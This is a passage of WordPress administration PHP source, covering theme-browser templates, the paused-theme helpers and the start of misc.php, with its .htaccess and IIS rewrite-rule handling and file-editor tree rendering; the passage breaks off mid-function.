										} elseif ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										} elseif ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } else if ( ! data.updateResponse.compatibleWP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_core' ) ) {
											printf(
												/* translators: %s: URL to WordPress Updates screen. */
												' ' . __( '<a href="%s">Please update WordPress</a>.' ),
												self_admin_url( 'update-core.php' )
											);
										}
										?>
									<# } else if ( ! data.updateResponse.compatiblePHP ) { #>
										<?php
										printf(
											/* translators: %s: Theme name. */
											__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
											'{{{ data.name }}}'
										);
										if ( current_user_can( 'update_php' ) ) {
											printf(
												/* translators: %s: URL to Update PHP page. */
												' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
												esc_url( wp_get_update_php_url() )
											);
											wp_update_php_annotation( '</p><p><em>', '</em>' );
										}
										?>
									<# } #>
								</p>
							</div>
						<# } #>
					<# } #>

					<# if ( data.parent ) { #>
						<p class="parent-theme">
							<?php
							printf(
								/* translators: %s: Theme name. */
								__( 'This is a child theme of %s.' ),
								'<strong>{{{ data.parent }}}</strong>'
							);
							?>
						</p>
					<# } #>

					<# if ( ! data.compatibleWP || ! data.compatiblePHP ) { #>
						<div class="notice notice-error notice-alt notice-large"><p>
							<# if ( ! data.compatibleWP && ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme does not work with your versions of WordPress and PHP.' );
								if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
									printf(
										/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
										' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
										self_admin_url( 'update-core.php' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								} elseif ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								} elseif ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } else if ( ! data.compatibleWP ) { #>
								<?php
								_e( 'This theme does not work with your version of WordPress.' );
								if ( current_user_can( 'update_core' ) ) {
									printf(
										/* translators: %s: URL to WordPress Updates screen. */
										' ' . __( '<a href="%s">Please update WordPress</a>.' ),
										self_admin_url( 'update-core.php' )
									);
								}
								?>
							<# } else if ( ! data.compatiblePHP ) { #>
								<?php
								_e( 'This theme does not work with your version of PHP.' );
								if ( current_user_can( 'update_php' ) ) {
									printf(
										/* translators: %s: URL to Update PHP page. */
										' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
										esc_url( wp_get_update_php_url() )
									);
									wp_update_php_annotation( '</p><p><em>', '</em>' );
								}
								?>
							<# } #>
						</p></div>
					<# } else if ( ! data.active && data.blockTheme ) { #>
						<div class="notice notice-error notice-alt notice-large"><p>
						<?php
							_e( 'This theme doesn\'t support Customizer.' );
						?>
						<# if ( data.actions.activate ) { #>
							<?php
							printf(
								/* translators: %s: URL to the themes page (also it activates the theme). */
								' ' . __( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
								'{{{ data.actions.activate }}}'
							);
							?>
						<# } #>
						</p></div>
					<# } #>

					<p class="theme-description">{{{ data.description }}}</p>

					<# if ( data.tags ) { #>
						<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
					<# } #>
				</div>
			</div>

			<div class="theme-actions">
				<# if ( data.active ) { #>
					<button type="button" class="button button-primary customize-theme"><?php _e( 'Customize' ); ?></button>
				<# } else if ( 'installed' === data.type ) { #>
					<div class="theme-inactive-actions">
					<# if ( data.blockTheme ) { #>
						<?php
							/* translators: %s: Theme name. */
							$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
						?>
						<# if ( data.compatibleWP && data.compatiblePHP && data.actions.activate ) { #>
							<a href="{{{ data.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
						<# } #>
					<# } else { #>
						<# if ( data.compatibleWP && data.compatiblePHP ) { #>
							<button type="button" class="button button-primary preview-theme" data-slug="{{ data.id }}"><?php _e( 'Live Preview' ); ?></button>
						<# } else { #>
							<button class="button button-primary disabled"><?php _e( 'Live Preview' ); ?></button>
						<# } #>
					<# } #>
					</div>
					<?php if ( current_user_can( 'delete_themes' ) ) { ?>
						<# if ( data.actions && data.actions['delete'] ) { #>
							<a href="{{{ data.actions['delete'] }}}" data-slug="{{ data.id }}" class="button button-secondary delete-theme"><?php _e( 'Delete' ); ?></a>
						<# } #>
					<?php } ?>
				<# } else { #>
					<# if ( data.compatibleWP && data.compatiblePHP ) { #>
						<button type="button" class="button theme-install" data-slug="{{ data.id }}"><?php _e( 'Install' ); ?></button>
						<button type="button" class="button button-primary theme-install preview" data-slug="{{ data.id }}"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } else { #>
						<button type="button" class="button disabled"><?php _ex( 'Cannot Install', 'theme' ); ?></button>
						<button type="button" class="button button-primary disabled"><?php _e( 'Install &amp; Preview' ); ?></button>
					<# } #>
				<# } #>
			</div>
		</div>
	</script>
	<?php
}

/**
 * Determines whether a theme is technically active but was paused while
 * loading.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 5.2.0
 *
 * @param string $theme Path to the theme directory relative to the themes directory.
 * @return bool True, if in the list of paused themes. False, not in the list.
 */
function is_theme_paused( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	if ( get_stylesheet() !== $theme && get_template() !== $theme ) {
		return false;
	}

	return array_key_exists( $theme, $GLOBALS['_paused_themes'] );
}

/**
 * Gets the error that was recorded for a paused theme.
 *
 * @since 5.2.0
 *
 * @param string $theme Path to the theme directory relative to the themes
 *                      directory.
 * @return array|false Array of error information as it was returned by
 *                     `error_get_last()`, or false if none was recorded.
 */
function wp_get_theme_error( $theme ) {
	if ( ! isset( $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	if ( ! array_key_exists( $theme, $GLOBALS['_paused_themes'] ) ) {
		return false;
	}

	return $GLOBALS['_paused_themes'][ $theme ];
}

/**
 * Tries to resume a single theme.
 *
 * If a redirect was provided and a functions.php file was found, we first ensure that
 * functions.php file does not throw fatal errors anymore.
 *
 * The way it works is by setting the redirection to the error before trying to
 * include the file. If the theme fails, then the redirection will not be overwritten
 * with the success message and the theme will not be resumed.
 *
 * @since 5.2.0
 *
 * @param string $theme    Single theme to resume.
 * @param string $redirect Optional. URL to redirect to. Default empty string.
 * @return bool|WP_Error True on success, false if `$theme` was not paused,
 *                       `WP_Error` on failure.
 */
function resume_theme( $theme, $redirect = '' ) {
	list( $extension ) = explode( '/', $theme );

	/*
	 * We'll override this later if the theme could be resumed without
	 * creating a fatal error.
	 */
	if ( ! empty( $redirect ) ) {
		$stylesheet_path = get_stylesheet_directory();
		$template_path   = get_template_directory();

		$functions_path = '';
		if ( str_contains( $stylesheet_path, $extension ) ) {
			$functions_path = $stylesheet_path . '/functions.php';
		} elseif ( str_contains( $template_path, $extension ) ) {
			$functions_path = $template_path . '/functions.php';
		}

		if ( ! empty( $functions_path ) ) {
			wp_redirect(
				add_query_arg(
					'_error_nonce',
					wp_create_nonce( 'theme-resume-error_' . $theme ),
					$redirect
				)
			);

			// Load the theme's functions.php to test whether it throws a fatal error.
			ob_start();
			if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) {
				define( 'WP_SANDBOX_SCRAPING', true );
			}
			include $functions_path;
			ob_clean();
		}
	}

	$result = wp_paused_themes()->delete( $extension );

	if ( ! $result ) {
		return new WP_Error(
			'could_not_resume_theme',
			__( 'Could not resume the theme.' )
		);
	}

	return true;
}

/**
 * Renders an admin notice in case some themes have been paused due to errors.
 *
 * @since 5.2.0
 *
 * @global string $pagenow The filename of the current screen.
 */
function paused_themes_notice() {
	if ( 'themes.php' === $GLOBALS['pagenow'] ) {
		return;
	}

	if ( ! current_user_can( 'resume_themes' ) ) {
		return;
	}

	if ( ! isset( $GLOBALS['_paused_themes'] ) || empty( $GLOBALS['_paused_themes'] ) ) {
		return;
	}

	$message = sprintf(
		'<p><strong>%s</strong><br>%s</p><p><a href="%s">%s</a></p>',
		__( 'One or more themes failed to load properly.' ),
		__( 'You can find more details and make changes on the Themes screen.' ),
		esc_url( admin_url( 'themes.php' ) ),
		__( 'Go to the Themes screen' )
	);
	wp_admin_notice(
		$message,
		array(
			'type'           => 'error',
			'paragraph_wrap' => false,
		)
	);
}
misc.php000064400000131461150275632050006223 0ustar00<?php
/**
 * Misc WordPress Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Returns whether the server is running Apache with the mod_rewrite module loaded.
 *
 * @since 2.0.0
 *
 * @return bool Whether the server is running Apache with the mod_rewrite module loaded.
 */
function got_mod_rewrite() {
	$got_rewrite = apache_mod_loaded( 'mod_rewrite', true );

	/**
	 * Filters whether Apache and mod_rewrite are present.
	 *
	 * This filter was previously used to force URL rewriting for other servers,
	 * like nginx. Use the {@see 'got_url_rewrite'} filter in got_url_rewrite() instead.
	 *
	 * @since 2.5.0
	 *
	 * @see got_url_rewrite()
	 *
	 * @param bool $got_rewrite Whether Apache and mod_rewrite are present.
	 */
	return apply_filters( 'got_rewrite', $got_rewrite );
}

/**
 * Returns whether the server supports URL rewriting.
 *
 * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx.
 *
 * @since 3.7.0
 *
 * @global bool $is_nginx
 *
 * @return bool Whether the server supports URL rewriting.
 */
function got_url_rewrite() {
	$got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || iis7_supports_permalinks() );

	/**
	 * Filters whether URL rewriting is available.
	 *
	 * @since 3.7.0
	 *
	 * @param bool $got_url_rewrite Whether URL rewriting is available.
	 */
	return apply_filters( 'got_url_rewrite', $got_url_rewrite );
}

/**
 * Extracts strings from between the BEGIN and END markers in the .htaccess file.
 *
 * @since 1.5.0
 *
 * @param string $filename Filename to extract the strings from.
 * @param string $marker   The marker to extract the strings from.
 * @return string[] An array of strings from a file (.htaccess) from between BEGIN and END markers.
 */
function extract_from_markers( $filename, $marker ) {
	$result = array();

	if ( ! file_exists( $filename ) ) {
		return $result;
	}

	$markerdata = explode( "\n", implode( '', file( $filename ) ) );

	$state = false;

	foreach ( $markerdata as $markerline ) {
		if ( str_contains( $markerline, '# END ' . $marker ) ) {
			$state = false;
		}

		if ( $state ) {
			if ( str_starts_with( $markerline, '#' ) ) {
				continue;
			}

			$result[] = $markerline;
		}

		if ( str_contains( $markerline, '# BEGIN ' . $marker ) ) {
			$state = true;
		}
	}

	return $result;
}

/**
 * Inserts an array of strings into a file (.htaccess), placing it between
 * BEGIN and END markers.
 *
 * Replaces existing marked info. Retains surrounding
 * data. Creates file if none exists.
 *
 * @since 1.5.0
 *
 * @param string       $filename  Filename to alter.
 * @param string       $marker    The marker to alter.
 * @param array|string $insertion The new content to insert.
 * @return bool True on write success, false on failure.
 */
function insert_with_markers( $filename, $marker, $insertion ) {
	if ( ! file_exists( $filename ) ) {
		if ( ! is_writable( dirname( $filename ) ) ) {
			return false;
		}

		if ( ! touch( $filename ) ) {
			return false;
		}

		// Make sure the file is created with a minimum set of permissions.
		$perms = fileperms( $filename );

		if ( $perms ) {
			chmod( $filename, $perms | 0644 );
		}
	} elseif ( ! is_writable( $filename ) ) {
		return false;
	}

	if ( ! is_array( $insertion ) ) {
		$insertion = explode( "\n", $insertion );
	}

	$switched_locale = switch_to_locale( get_locale() );

	$instructions = sprintf(
		/* translators: 1: Marker. */
		__(
			'The directives (lines) between "BEGIN %1$s" and "END %1$s" are
dynamically generated, and should only be modified via WordPress filters.
Any changes to the directives between these markers will be overwritten.'
		),
		$marker
	);

	$instructions = explode( "\n", $instructions );

	foreach ( $instructions as $line => $text ) {
		$instructions[ $line ] = '# ' . $text;
	}

	/**
	 * Filters the inline instructions inserted before the dynamically generated content.
	 *
	 * @since 5.3.0
	 *
	 * @param string[] $instructions Array of lines with inline instructions.
	 * @param string   $marker       The marker being inserted.
	 */
	$instructions = apply_filters( 'insert_with_markers_inline_instructions', $instructions, $marker );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	$insertion = array_merge( $instructions, $insertion );

	$start_marker = "# BEGIN {$marker}";
	$end_marker   = "# END {$marker}";

	$fp = fopen( $filename, 'r+' );

	if ( ! $fp ) {
		return false;
	}

	// Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired.
	flock( $fp, LOCK_EX );

	$lines = array();

	while ( ! feof( $fp ) ) {
		$lines[] = rtrim( fgets( $fp ), "\r\n" );
	}

	// Split out the existing file into the preceding lines, and those that appear after the marker.
	$pre_lines        = array();
	$post_lines       = array();
	$existing_lines   = array();
	$found_marker     = false;
	$found_end_marker = false;

	foreach ( $lines as $line ) {
		if ( ! $found_marker && str_contains( $line, $start_marker ) ) {
			$found_marker = true;
			continue;
		} elseif ( ! $found_end_marker && str_contains( $line, $end_marker ) ) {
			$found_end_marker = true;
			continue;
		}

		if ( ! $found_marker ) {
			$pre_lines[] = $line;
		} elseif ( $found_marker && $found_end_marker ) {
			$post_lines[] = $line;
		} else {
			$existing_lines[] = $line;
		}
	}

	// Check to see if there was a change.
	if ( $existing_lines === $insertion ) {
		flock( $fp, LOCK_UN );
		fclose( $fp );

		return true;
	}

	// Generate the new file data.
	$new_file_data = implode(
		"\n",
		array_merge(
			$pre_lines,
			array( $start_marker ),
			$insertion,
			array( $end_marker ),
			$post_lines
		)
	);

	// Write to the start of the file, and truncate it to that length.
	fseek( $fp, 0 );
	$bytes = fwrite( $fp, $new_file_data );

	if ( $bytes ) {
		ftruncate( $fp, ftell( $fp ) );
	}

	fflush( $fp );
	flock( $fp, LOCK_UN );
	fclose( $fp );

	return (bool) $bytes;
}

/**
 * Updates the htaccess file with the current rules if it is writable.
 *
 * Always writes to the file if it exists and is writable to ensure that we
 * blank out old rules.
 *
 * @since 1.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function save_mod_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . 'wp-admin/includes/file.php';

	$home_path     = get_home_path();
	$htaccess_file = $home_path . '.htaccess';

	/*
	 * If the file doesn't already exist check for write access to the directory
	 * and whether we have some rules. Else check for write access to the file.
	 */
	if ( ! file_exists( $htaccess_file ) && is_writable( $home_path ) && $wp_rewrite->using_mod_rewrite_permalinks()
		|| is_writable( $htaccess_file )
	) {
		if ( got_mod_rewrite() ) {
			$rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() );

			return insert_with_markers( $htaccess_file, 'WordPress', $rules );
		}
	}

	return false;
}

/**
 * Updates the IIS web.config file with the current rules if it is writable.
 * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
 *
 * @since 2.8.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @return bool|null True on write success, false on failure. Null in multisite.
 */
function iis7_save_url_rewrite_rules() {
	global $wp_rewrite;

	if ( is_multisite() ) {
		return;
	}

	// Ensure get_home_path() is declared.
	require_once ABSPATH . 'wp-admin/includes/file.php';

	$home_path       = get_home_path();
	$web_config_file = $home_path . 'web.config';

	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP.
	if ( iis7_supports_permalinks()
		&& ( ! file_exists( $web_config_file ) && win_is_writable( $home_path ) && $wp_rewrite->using_mod_rewrite_permalinks()
			|| win_is_writable( $web_config_file ) )
	) {
		$rule = $wp_rewrite->iis7_url_rewrite_rules( false );

		if ( ! empty( $rule ) ) {
			return iis7_add_rewrite_rule( $web_config_file, $rule );
		} else {
			return iis7_delete_rewrite_rule( $web_config_file );
		}
	}

	return false;
}

/**
 * Updates the "recently-edited" file for the plugin or theme file editor.
 *
 * @since 1.5.0
 *
 * @param string $file
 */
function update_recently_edited( $file ) {
	$oldfiles = (array) get_option( 'recently_edited' );

	if ( $oldfiles ) {
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles[] = $file;
		$oldfiles   = array_reverse( $oldfiles );
		$oldfiles   = array_unique( $oldfiles );

		if ( 5 < count( $oldfiles ) ) {
			array_pop( $oldfiles );
		}
	} else {
		$oldfiles[] = $file;
	}

	update_option( 'recently_edited', $oldfiles );
}

/**
 * Makes a tree structure for the theme file editor's file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $allowed_files List of theme file paths.
 * @return array Tree structure for listing theme files.
 */
function wp_make_theme_file_tree( $allowed_files ) {
	$tree_list = array();

	foreach ( $allowed_files as $file_name => $absolute_filename ) {
		$list     = explode( '/', $file_name );
		$last_dir = &$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =& $last_dir[ $dir ];
		}

		$last_dir = $file_name;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the theme file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @global string $relative_file Name of the file being edited relative to the
 *                               theme directory.
 * @global string $stylesheet    The stylesheet name of the theme being edited.
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_theme_file_tree( $tree, $level = 2, $size = 1, $index = 1 ) {
	global $relative_file, $stylesheet;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label => $theme_file ) :
			++$index;

			if ( ! is_array( $theme_file ) ) {
				wp_print_theme_file_tree( $theme_file, $level, $index, $size );
				continue;
			}
			?>
			<li role="treeitem" aria-expanded="true" tabindex="-1"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'folder' );
					?>
				</span><span aria-hidden="true" class="icon"></span></span>
				<ul role="group" class="tree-folder"><?php wp_print_theme_file_tree( $theme_file, $level + 1, $index, $size ); ?></ul>
			</li>
			<?php
		endforeach;
	} else {
		$filename = $tree;
		$url      = add_query_arg(
			array(
				'file'  => rawurlencode( $tree ),
				'theme' => rawurlencode( $stylesheet ),
			),
			self_admin_url( 'theme-editor.php' )
		);
		?>
		<li role="none" class="<?php echo esc_attr( $relative_file === $filename ? 'current-file' : '' ); ?>">
			<a role="treeitem" tabindex="<?php echo esc_attr( $relative_file === $filename ? '0' : '-1' ); ?>"
				href="<?php echo esc_url( $url ); ?>"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<?php
				$file_description = esc_html( get_file_description( $filename ) );

				if ( $file_description !== $filename && wp_basename( $filename ) !== $file_description ) {
					$file_description .= '<br /><span class="nonessential">(' . esc_html( $filename ) . ')</span>';
				}

				if ( $relative_file === $filename ) {
					echo '<span class="notice notice-info">' . $file_description . '</span>';
				} else {
					echo $file_description;
				}
				?>
			</a>
		</li>
		<?php
	}
}

/**
 * Makes a tree structure for the plugin file editor's file list.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array $plugin_editable_files List of plugin file paths.
 * @return array Tree structure for listing plugin files.
 */
function wp_make_plugin_file_tree( $plugin_editable_files ) {
	$tree_list = array();

	foreach ( $plugin_editable_files as $plugin_file ) {
		$list     = explode( '/', preg_replace( '#^.+?/#', '', $plugin_file ) );
		$last_dir = &$tree_list;

		foreach ( $list as $dir ) {
			$last_dir =& $last_dir[ $dir ];
		}

		$last_dir = $plugin_file;
	}

	return $tree_list;
}

/**
 * Outputs the formatted file list for the plugin file editor.
 *
 * @since 4.9.0
 * @access private
 *
 * @param array|string $tree  List of file/folder paths, or filename.
 * @param string       $label Name of file or folder to print.
 * @param int          $level The aria-level for the current iteration.
 * @param int          $size  The aria-setsize for the current iteration.
 * @param int          $index The aria-posinset for the current iteration.
 */
function wp_print_plugin_file_tree( $tree, $label = '', $level = 2, $size = 1, $index = 1 ) {
	global $file, $plugin;

	if ( is_array( $tree ) ) {
		$index = 0;
		$size  = count( $tree );

		foreach ( $tree as $label => $plugin_file ) :
			++$index;

			if ( ! is_array( $plugin_file ) ) {
				wp_print_plugin_file_tree( $plugin_file, $label, $level, $index, $size );
				continue;
			}
			?>
			<li role="treeitem" aria-expanded="true" tabindex="-1"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<span class="folder-label"><?php echo esc_html( $label ); ?> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'folder' );
					?>
				</span><span aria-hidden="true" class="icon"></span></span>
				<ul role="group" class="tree-folder"><?php wp_print_plugin_file_tree( $plugin_file, '', $level + 1, $index, $size ); ?></ul>
			</li>
			<?php
		endforeach;
	} else {
		$url = add_query_arg(
			array(
				'file'   => rawurlencode( $tree ),
				'plugin' => rawurlencode( $plugin ),
			),
			self_admin_url( 'plugin-editor.php' )
		);
		?>
		<li role="none" class="<?php echo esc_attr( $file === $tree ? 'current-file' : '' ); ?>">
			<a role="treeitem" tabindex="<?php echo esc_attr( $file === $tree ? '0' : '-1' ); ?>"
				href="<?php echo esc_url( $url ); ?>"
				aria-level="<?php echo esc_attr( $level ); ?>"
				aria-setsize="<?php echo esc_attr( $size ); ?>"
				aria-posinset="<?php echo esc_attr( $index ); ?>">
				<?php
				if ( $file === $tree ) {
					echo '<span class="notice notice-info">' . esc_html( $label ) . '</span>';
				} else {
					echo esc_html( $label );
				}
				?>
			</a>
		</li>
		<?php
	}
}

/**
 * Flushes rewrite rules if siteurl, home or page_on_front changed.
 *
 * @since 2.1.0
 *
 * @param string $old_value
 * @param string $value
 */
function update_home_siteurl( $old_value, $value ) {
	if ( wp_installing() ) {
		return;
	}

	if ( is_multisite() && ms_is_switched() ) {
		delete_option( 'rewrite_rules' );
	} else {
		flush_rewrite_rules();
	}
}


/**
 * Resets global variables based on $_GET and $_POST.
 *
 * This function resets global variables based on the names passed
 * in the $vars array to the value of $_POST[$var] or $_GET[$var] or ''
 * if neither is defined.
 *
 * @since 2.0.0
 *
 * @param array $vars An array of globals to reset.
 */
function wp_reset_vars( $vars ) {
	foreach ( $vars as $var ) {
		if ( empty( $_POST[ $var ] ) ) {
			if ( empty( $_GET[ $var ] ) ) {
				$GLOBALS[ $var ] = '';
			} else {
				$GLOBALS[ $var ] = $_GET[ $var ];
			}
		} else {
			$GLOBALS[ $var ] = $_POST[ $var ];
		}
	}
}

/**
 * Displays the given administration message.
 *
 * @since 2.1.0
 *
 * @param string|WP_Error $message
 */
function show_message( $message ) {
	if ( is_wp_error( $message ) ) {
		if ( $message->get_error_data() && is_string( $message->get_error_data() ) ) {
			$message = $message->get_error_message() . ': ' . $message->get_error_data();
		} else {
			$message = $message->get_error_message();
		}
	}

	echo "<p>$message</p>\n";
	wp_ob_end_flush_all();
	flush();
}

/**
 * @since 2.8.0
 *
 * @param string $content
 * @return array
 */
function wp_doc_link_parse( $content ) {
	if ( ! is_string( $content ) || empty( $content ) ) {
		return array();
	}

	if ( ! function_exists( 'token_get_all' ) ) {
		return array();
	}

	$tokens           = token_get_all( $content );
	$count            = count( $tokens );
	$functions        = array();
	$ignore_functions = array();

	for ( $t = 0; $t < $count - 2; $t++ ) {
		if ( ! is_array( $tokens[ $t ] ) ) {
			continue;
		}

		if ( T_STRING === $tokens[ $t ][0] && ( '(' === $tokens[ $t + 1 ] || '(' === $tokens[ $t + 2 ] ) ) {
			// If it's a function or class defined locally, there's not going to be any docs available.
			if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ), true ) )
				|| ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR === $tokens[ $t - 1 ][0] )
			) {
				$ignore_functions[] = $tokens[ $t ][1];
			}

			// Add this to our stack of unique references.
			$functions[] = $tokens[ $t ][1];
		}
	}

	$functions = array_unique( $functions );
	sort( $functions );

	/**
	 * Filters the list of functions and classes to be ignored from the documentation lookup.
	 *
	 * @since 2.8.0
	 *
	 * @param string[] $ignore_functions Array of names of functions and classes to be ignored.
	 */
	$ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions );

	$ignore_functions = array_unique( $ignore_functions );

	$output = array();

	foreach ( $functions as $function ) {
		if ( in_array( $function, $ignore_functions, true ) ) {
			continue;
		}

		$output[] = $function;
	}

	return $output;
}

/**
 * Saves option for number of rows when listing posts, pages, comments, etc.
 *
 * @since 2.8.0
 */
function set_screen_options() {
	if ( ! isset( $_POST['wp_screen_options'] ) || ! is_array( $_POST['wp_screen_options'] ) ) {
		return;
	}

	check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );

	$user = wp_get_current_user();

	if ( ! $user ) {
		return;
	}

	$option = $_POST['wp_screen_options']['option'];
	$value  = $_POST['wp_screen_options']['value'];

	if ( sanitize_key( $option ) !== $option ) {
		return;
	}

	$map_option = $option;
	$type       = str_replace( 'edit_', '', $map_option );
	$type       = str_replace( '_per_page', '', $type );

	if ( in_array( $type, get_taxonomies(), true ) ) {
		$map_option = 'edit_tags_per_page';
	} elseif ( in_array( $type, get_post_types(), true ) ) {
		$map_option = 'edit_per_page';
	} else {
		$option = str_replace( '-', '_', $option );
	}

	switch ( $map_option ) {
		case 'edit_per_page':
		case 'users_per_page':
		case 'edit_comments_per_page':
		case 'upload_per_page':
		case 'edit_tags_per_page':
		case 'plugins_per_page':
		case 'export_personal_data_requests_per_page':
		case 'remove_personal_data_requests_per_page':
			// Network admin.
		case 'sites_network_per_page':
		case 'users_network_per_page':
		case 'site_users_network_per_page':
		case 'plugins_network_per_page':
		case 'themes_network_per_page':
		case 'site_themes_network_per_page':
			$value = (int) $value;

			if ( $value < 1 || $value > 999 ) {
				return;
			}

			break;

		default:
			$screen_option = false;

			if ( str_ends_with( $option, '_page' ) || 'layout_columns' === $option ) {
				/**
				 * Filters a screen option value before it is set.
				 *
				 * The filter can also be used to modify non-standard [items]_per_page
				 * settings. See the parent function for a full list of standard options.
				 *
				 * Returning false from the filter will skip saving the current option.
				 *
				 * @since 2.8.0
				 * @since 5.4.2 Only applied to options ending with '_page',
				 *              or the 'layout_columns' option.
				 *
				 * @see set_screen_options()
				 *
				 * @param mixed  $screen_option The value to save instead of the option value.
				 *                              Default false (to skip saving the current option).
				 * @param string $option        The option name.
				 * @param int    $value         The option value.
				 */
				$screen_option = apply_filters( 'set-screen-option', $screen_option, $option, $value ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
			}

			/**
			 * Filters a screen option value before it is set.
			 *
			 * The dynamic portion of the hook name, `$option`, refers to the option name.
			 *
			 * Returning false from the filter will skip saving the current option.
			 *
			 * @since 5.4.2
			 *
			 * @see set_screen_options()
			 *
			 * @param mixed   $screen_option The value to save instead of the option value.
			 *                               Default false (to skip saving the current option).
			 * @param string  $option        The option name.
			 * @param int     $value         The option value.
			 */
			$value = apply_filters( "set_screen_option_{$option}", $screen_option, $option, $value );

			if ( false === $value ) {
				return;
			}

			break;
	}

	update_user_meta( $user->ID, $option, $value );

	$url = remove_query_arg( array( 'pagenum', 'apage', 'paged' ), wp_get_referer() );

	if ( isset( $_POST['mode'] ) ) {
		$url = add_query_arg( array( 'mode' => $_POST['mode'] ), $url );
	}

	wp_safe_redirect( $url );
	exit;
}

/**
 * Checks if rewrite rule for WordPress already exists in the IIS 7+ configuration file.
 *
 * @since 2.8.0
 *
 * @param string $filename The file path to the configuration file.
 * @return bool
 */
function iis7_rewrite_rule_exists( $filename ) {
	if ( ! file_exists( $filename ) ) {
		return false;
	}

	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	$doc = new DOMDocument();

	if ( $doc->load( $filename ) === false ) {
		return false;
	}

	$xpath = new DOMXPath( $doc );
	$rules = $xpath->query( '/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]' );

	if ( 0 === $rules->length ) {
		return false;
	}

	return true;
}

/**
 * Deletes WordPress rewrite rule from web.config file if it exists there.
 *
 * @since 2.8.0
 *
 * @param string $filename Name of the configuration file.
 * @return bool
 */
function iis7_delete_rewrite_rule( $filename ) {
	// If configuration file does not exist then rules also do not exist, so there is nothing to delete.
	if ( ! file_exists( $filename ) ) {
		return true;
	}

	if ( ! class_exists( 'DOMDocument', false ) ) {
		return false;
	}

	$doc                     = new DOMDocument();
